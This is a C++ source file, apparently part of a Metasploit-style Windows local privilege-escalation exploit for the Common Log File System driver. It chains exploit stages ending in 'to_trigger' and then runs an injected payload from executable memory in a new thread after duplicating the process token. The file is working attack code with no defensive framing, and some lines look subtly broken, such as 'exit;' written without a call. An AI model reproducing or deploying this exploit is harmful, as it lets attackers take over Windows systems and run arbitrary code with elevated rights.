#pragma once
#include "common.h"
#include "clfs_eop.h"
#include "exploit.h"
#include <tchar.h>

void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
    PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!pPayload) {
        exit;
    }

    CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);

    // Get the current process token
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken)) {
        VirtualFree(pPayload, 0, MEM_RELEASE); // Clean up allocated memory
        exit;
    }

    // Duplicate the token
    HANDLE hDupToken;
    if (!DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) {
        CloseHandle(hToken);
        VirtualFree(pPayload, 0, MEM_RELEASE); // Clean up allocated memory
        exit;
    }

    // Close the original token handle
    CloseHandle(hToken);

    // Create thread to execute payload code
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL);
    if (!hThread) {
        // Handle thread creation error
        CloseHandle(hDupToken);
        VirtualFree(pPayload, 0, MEM_RELEASE); // Clean up allocated memory
        exit;
    }

    // Wait for the thread to finish if needed
    WaitForSingleObject(hThread, INFINITE);

    // Clean up handles and allocated memory
    CloseHandle(hThread);
    CloseHandle(hDupToken);
    VirtualFree(pPayload, 0, MEM_RELEASE);
}


DWORD Exploit(PMSF_PAYLOAD pPayload) {

	clfs_eop ce = clfs_eop::clfs_eop();

	ce.getVirtualAddress();
	ce.InitEnvironment();
	ce.doFirstAlloc();
	ce.createInitialLogFile();
	ce.fun_prepare();
	ce.to_trigger();

	ExecutePayload(pPayload);

	return 0;
}